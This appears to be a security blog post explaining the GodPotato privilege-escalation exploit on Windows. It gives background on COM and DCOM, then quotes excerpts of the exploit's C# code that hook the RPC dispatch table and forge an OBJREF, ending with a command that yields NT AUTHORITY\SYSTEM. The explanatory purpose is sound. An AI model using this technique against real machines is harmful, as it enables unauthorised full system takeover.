One Potato to Rule Them All: A Dummies Guide to the GodPotato Exploit

One Potato to rule them all: A Dummies Guide to the GodPotato Exploit

I cannot count the number of times I've landed a session on a Windows machine with SeImpersonatePrivilege and made a dumb reach for one of the many *Potato exploits. I can, however, count on my hand the number of times I've actually understood what's going on under the hood.

Background

I was recently doing a retired HackTheBox machine, having managed to pop a reverse shell as MSSQLSERVICE via xp_cmdshell. These service accounts are more often than not granted the all-powerful SeImpersonate privilege, which allows us to impersonate any account whose token we can get our grubby hands on. Naturally, it then becomes a game of:

"how many ways can we coerce a token for NT AUTHORITY\SYSTEM?"

Years of research have cultivated the potato family of privilege-escalation exploits, which employ a crop of creative techniques for stealing the SYSTEM token. These tools have become an mainstay of the standard Windows pentesting toolkit for a good reason; assuming you're on a valid Windows build and Defender is

a) on holiday, or

b) fooled by your APT-level evasion/obfuscation skills

- they will just work.

Now there are plenty of resources on the majority of potato exploits that go a bit deeper into the hows and whys, but I found shockingly little on GodPotato - which was especially disappointing given how slick of an attack it really is.

Primer

The GodPotato exploit is a relatively new kid on the block, developed over late 2022-23 by @BeichenDream. Targeting flaws in Microsoft's DCOM technology, it's effective on targets running Windows Server 2012 and Windows 8 onwards.

To understand how GodPotato works its magic, we unfortunately have to get familiar with a couple of core Windows concepts. These may not be familiar reading (unless you're a pre .NET Windows developer) but are essential to understanding the basics of the exploit.

The Component Object Model (COM)

Before there was .NET (specifically its Windows Communication Foundation), there was the Component Object Model (COM). There was also COM after .NET, but you get what I mean.

COM is an ABI for inter-thread/process/language/context sharing of objects that can be defined once and reused in a platform-independent manner. COM objects are exposed via interfaces that allow for language-agnostic interaction - if the client can understand the ABI, they can interact with the COM object.

COM Objects

COM objects are identified by their "class ID", or CLSID which follow the format {insert-GUID-here}. Objects' interfaces are defined using Interface Definition Language (similar to .proto in gRPC) like so:

// Example IDL
[
   object,
   uuid(11111111-1111-1111-1111-111111111111) // Identifies the interface (IID)
]
interface IExampleObject : IUnknown // The interface "IExampleObject" inherits from IUnknown
{
   // IExampleObject interface defines the Hello() and Add() methods
   HRESULT Hello([in] BSTR name, [out, retval] BSTR* greeting); 
   HRESULT Add([in] LONG a, [in] LONG b, [out, retval] LONG* result);
}

These IDL definitions are fed into the Microsoft IDL (MIDL) compiler, which generates header files, serverside boilerplate and proxy/stub code for inter-process marshaling (more on this later).

The COM Server

These objects are managed by their respective COM server, which handles their registration, creation and destruction. Although not integral to understanding GodPotato, the COM server performs the following functions:

  1. COM Object Registration: The COM Server registers the CLSIDs for its respective objects in the Windows Registry (eek), where information on how to locate/activate the server is stored. For example, it could be located within a DLL (in-process) or EXE (out-of-process).

  2. COM Object Instatiation: When a process requests access to a specific object, the COM Runtime will look up that object's CLSID and spin up its COM server. Note that if it's housed within a DLL, the runtime will load said DLL into the requesting process. If it's an executable (.EXE), the runtime will ask the Service Control Manager service (rpcss.exe - remember this name) to launch and monitor the server. The COM runtime then receives a "class factory" - another object responsible for instaniating the object(s) requested - and calls it to create the requested object.

  3. COM Object Destruction: COM utlises reference counting for managing an object's lifetime - since by principle COM objects handle their own implementation (consequence of COM's platform-agonisticism), they free themselves when their reference count hits zero.

Marshaling

When a call is made to a COM object, things get interesting when the COM server resides in a different process (or thread apartment) from the requesting thread; the method call and its parameters must be packaged up and transported to the COM server's process/apartment to be processed. This process is called marshaling - and yes, there is only one 'l'. It comprises the use of proxy/stub pairs to serialise/deserialise the call and roughly goes like so:

  1. A call is made to the COM object - the COM runtime determines that the COM server for the requested object requires marshaling.

  2. The COM runtime checks if a custom proxy/stub DLL has been registered for the respective object interface via ProxyStubClsid32 key. If it cannot find one (i.e. it doesn't exist) it will fall back to a Universal Marshaler, of which there are several flavours not worth explaining here.

  3. The call is relayed to the proxy component, which itself resides in the client process implements the requested object's interface. It then serialises the call and sends it to the stub, which lives in the COM server, which deserialises (or "unmarshals") the call and invokes it.

  4. The result is sent from the object, to the stub, to the proxy and finally to the requesting function.

Distributed COM (DCOM)

As it became readily apparent in the late 90s that the internet was indeed the future, Microsoft pondered how COM could be extended to connect remote software components - and thus DCOM was born. Based atop MSRPC (Microsoft's DCE/RPC implementation), DCOM allows for the use of COM objects across networked machines. DCOM achives this through Object RPC (ORPC) protocol, which transports remote method calls.

DCOM competed directly with CORBA to become the standard for networked component communication. Although they both saw considerable use, the adoption of Internet firewalls made these RPC-based protocols a nightmare to get working. Both protocols eventually lost out to the likes of SOAP over HTTP (and web services in general), with their vision realised many years later in the form of gRPC.

The COM activation process is roughly like so (major simplifications inbound):

  1. The client process requests a COM object - the SCM (rpcss.exe) contacts the remote SCM over MSRPC and asks it to kindly look up the CLSID in its own registry

  2. The remote SCM starts/locates the respective COM server, creates a class factory object for the requested object. The SCM then sends the client an OBJREF, which gives the client the necessary information to set up a proxy to interact with the class factory. The OBJREF consists of the following attributes:

    • The exporter ID (OXID) - identifies the specific process/thread apartment on the remote host
    • The object ID (OID) - identifies the COM object instance requested
    • The interface ID (IPID) - identifies the interface requested for the object in question
    • Protocol security bindings
  3. The client uses this information to construct the class factory proxy. It will also "resolve" the OXID to get details on how to interact with the COM server process (e.g. protocol settings, security configuration) via RPC.

  4. The client instructs the class factory to create the requested COM object via the proxy. The server creates the COM object and return its respective OBJREF to the client, repeating steps 2 and 3.

  5. With knowledge of how to contact the remote COM server, the client can now interface with the requested object over ORPC - the marshaling/unmarshaling process remains the same.

COM and Impersonation

We're almost there! We just have to cover one last topic - COM impersonation.

When a call is made to a COM server, the client's proxy can allow the COM server to impersonate them for the duration of the call. There are four levels of impersonation allowed:

  1. anonymous - the client remains anonymous to the server. This is only used in local COM.
  2. identify - the COM server can obtain the client's identity, and impersonate them to perform (strictly) ACL checks. This is the default impersonation level for DCOM.
  3. impersonate - The server can impersonate the client's security context while acting on their behalf. If via DCOM, the server can only access resources under said security context on the same machine.
  4. delegate - The same as impersonate, but the server can pass the client's credentials to any machine. Note there are several caveats to enabling COM delegation.

The client can either set the impersonation level process-wide or for the specific interface proxy. In rpcss.exe's case, the impersonation level is set to impersonate for local requests - this is integral to the *potato exploits, as without it the security context cannot be impersonated.

The Exploit

The key to GodPotato's staying power is the fact that it exploits fundamental design flaws in the local OXID resolution process - specifically a requesting process' ability to control the SCM's callback to the internal OXID resolver. If that reads as gibberish, I don't blame you - it'll all make sense in just a moment.

The potato doesn't fall far from the ...tuber?

GodPotato is very similar to other DCOM-based exploits such as RoguePotato - the main differences are how they get around the hardening measures intended to squash the original JuicyPotato exploit. They roughly follow the same logic:

  • Spin up a fake COM server (actually a named pipe)
  • Craft an OBJREF and trigger DCOM unmarshaling for an arbitrary COM object
  • rpcss.exe seeks to resolve the object's exporter ID (OXID) via an OXID resolver
  • The OXID resolver resolves the OXID a transport string binding in the form protocol:endpoint, for example ncacn_np:localhost/pipe/GodPotato[\pipe\epmapper]
  • rpcss.exe uses the resolved binding to connet to the attacker-controlled named pipe, which then captures its SYSTEM token for impersonation
  • impersonate SYSTEM using CreateProcessWithTokenW()
  • profit?

The main problem these exploits face is how the OXID gets mapped to our attacker-controlled COM server/named pipe. As part of Microsoft's attempt to squash the original JuicyPotato, rpcss.exe will only contact OXID resolvers running on the default port 135 from Windows 10 build 1809 and Windows Server 2019 onwards.

RoguePotato gets around this by having the attacker either set up a fake OXID resolver on a separate machine or run socat on said machine to reflect the ORPC requests back to the same fake resolver running locally on the victim machine (on an arbitrary port). While this is neat and all, GodPotato takes it to another level by bypassing the need for remote OXID resolution altogether.

The Overview

GodPotato takes a different approach to circumventing the OXID resolution restrictions by instead compromising the SCM's own resolver. This technique doesn't even require the attacker to register/activate a COM server as a result, making it reasonably stealthy compared to the likes of RoguePotato.

The Setup

The exploit begins by scanning combase.dll, which contains hardcoded CLSID registrations that bypass rpcss.exe's usual CLSID registry lookup. It crawls the DLL for a seemingly undocumented interface by searching for the following GUID:

private static readonly Guid orcbRPCGuid = new Guid("18f70770-8e64-11cf-9af1-0020af6e72f4");

The orcbRPC interface is actually used by the SCM/rpcss.exe for performing internal OXID resolution. When an object is unmarshaled, the COM runtime asks RPCSS to resolve the OXID locally. RPCSS will then perform a callback into the requesting process and use this interface to perform the resolution by calling the first entry in the dispatch table.

/* Scanning the dispatch table */
for (int i = 0; i < dispatchTable.Length; i++)
   {
      dispatchTable[i] = Marshal.ReadIntPtr(DispatchTablePtr, i * IntPtr.Size);
   }

   for (int i = 0; i < fmtStringOffsetTable.Length; i++)
   {
      fmtStringOffsetTable[i] = Marshal.ReadInt16(fmtStringOffsetTablePtr, i * Marshal.SizeOf(typeof(short)));
   }

   /* Saving the function pointer to be overwritten */
   UseProtseqFunctionPtr = dispatchTable[0];
   UseProtseqFunctionParamCount = Marshal.ReadByte(procString, fmtStringOffsetTable[0] + 19);

Once the exploit finds this interface, it first maps out the dispatch table, copies it and invokes VirtualProtect() on the dispatch table to make it writable. It then overwrites the first entry with its own thunk that will resolve any OXID/IPIDs to bindings that point directly to the named pipe.

public void HookRPC()
        {   
            uint old;
            VirtualProtect(DispatchTablePtr, (uint)(IntPtr.Size * dispatchTable.Length), 0x04, out old);
            Marshal.WriteIntPtr(DispatchTablePtr, Marshal.GetFunctionPointerForDelegate(useProtseqDelegate));
            IsHook = true;
        }

It's replaced with a thunk that, when invoked, returns the hardcoded string bindings for the attacker-controlled named pipe (ncacn_np:localhost/pipe/GodPotato[\pipe\epmapper]).

public int fun(IntPtr ppdsaNewBindings, IntPtr ppdsaNewSecurity)
   {
      /* author is not pleased that RPC over TCP doesn't send impersonation tokens. 
         It's supplied anyway to avoid fallback attempts to uncontrolled transport*/
      string[] endpoints = { godPotatoContext.clientPipe, "ncacn_ip_tcp:fuck you !" }; 

      int entrieSize = 3;
      for (int i = 0; i < endpoints.Length; i++)
      {
            entrieSize += endpoints[i].Length;
            entrieSize++;
      }

      int memroySize = entrieSize * 2 + 10;

      IntPtr pdsaNewBindings = Marshal.AllocHGlobal(memroySize);

      for (int i = 0; i < memroySize; i++)
      {
            Marshal.WriteByte(pdsaNewBindings, i, 0x00);
      }

      /* Write transport bindings */
      int offset = 0;

      Marshal.WriteInt16(pdsaNewBindings, offset, (short)entrieSize);
      offset += 2;
      Marshal.WriteInt16(pdsaNewBindings, offset, (short)(entrieSize - 2));
      offset += 2;

      for (int i = 0; i < endpoints.Length; i++)
      {
            string endpoint = endpoints[i];
            for (int j = 0; j < endpoint.Length; j++)
            {
               Marshal.WriteInt16(pdsaNewBindings, offset, (short)endpoint[j]);
               offset += 2;
            }
            offset += 2;
      }
      Marshal.WriteIntPtr(ppdsaNewBindings, pdsaNewBindings);

      return 0;
   }

With this in place, the named pipe server is started and waits for the client (rpcss.exe) to connect.

   public void Start() {
      if (IsHook && !IsStart)
      {
            pipeServerThread = new Thread(PipeServer);
            pipeServerThread.IsBackground = true;
            pipeServerThread.Start();
            IsStart = true;
      }
      else
      {
            throw new Exception("IsHook == false");
      }
   }

The Trigger

An OBJREF is then created for a legitimate object; since it's the resolution method that's hooked, no registration is required - so the exploit simply scans combase.dll for another one of those hardcoded interfaces and forges the OBJREF using its associated OXID, OID and IPID. By using a regular object pointer, the exploit avoids drawing attention through a COM activation request.

The exploit is triggered when the OBJREF is unmarshaled - the COM runtime asks rpcss.exe to resolve the valid OXID, which then engages the (overwritten) OXID resolver and receives the attacker-controlled string bindings.

public int Trigger() {

   string ppszDisplayName;
   moniker.GetDisplayName(bindCtx, null, out ppszDisplayName);
   ppszDisplayName = ppszDisplayName.Replace("objref:", "").Replace(":", "");
   byte[] objrefBytes = Convert.FromBase64String(ppszDisplayName);

   /* Build and populate OBJREF */

   ObjRef tmpObjRef = new ObjRef(objrefBytes);

   ...

   ObjRef objRef = new ObjRef(IID_IUnknown,
         new ObjRef.Standard(0, 1, tmpObjRef.StandardObjRef.OXID, tmpObjRef.StandardObjRef.OID, tmpObjRef.StandardObjRef.IPID,
            new ObjRef.DualStringArray(new ObjRef.StringBinding(towerProtocol, binding), new ObjRef.SecurityBinding(0xa, 0xffff, null))));
   byte[] data = objRef.GetBytes();

   godPotatoContext.ConsoleWriter.WriteLine($"[*] Marshal Object bytes len: {data.Length}");

   IntPtr ppv;

   godPotatoContext.ConsoleWriter.WriteLine($"[*] UnMarshal Object");

   /* Trigger unmarshaling */
   return UnmarshalDCOM.UnmarshalObject(data,out ppv);
}

Resolved string bindings in hand, rpcss.exe authenticates to the fake COM server (our named pipe) and has its token promptly stolen for impersonation. The attacker-supplied command is then run under the security context of SYSTEM, followed by cleanup; the original function dispatch table entry for the orcbRPC interface is restored, combase.dll is unhooked and the named pipe server torn down.

And to think all of that is wrapped up in a single command!

.\GodPotato.exe -cmd "cmd /c whoami"

NT AUTHORITY\SYSTEM

Retro

I had a great time learning how this little-documented exploit sneakily leverages flaws in DCOM to escalate privileges, as well as how researchers' perpetual lust for SYSTEM shells continually make life hell for Microsoft. I'm looking forward to seeing if/how they crack down on this one.



If you have suggestions, corrections or anything else to say - feel free to get in touch via email or @boxlegs on discord.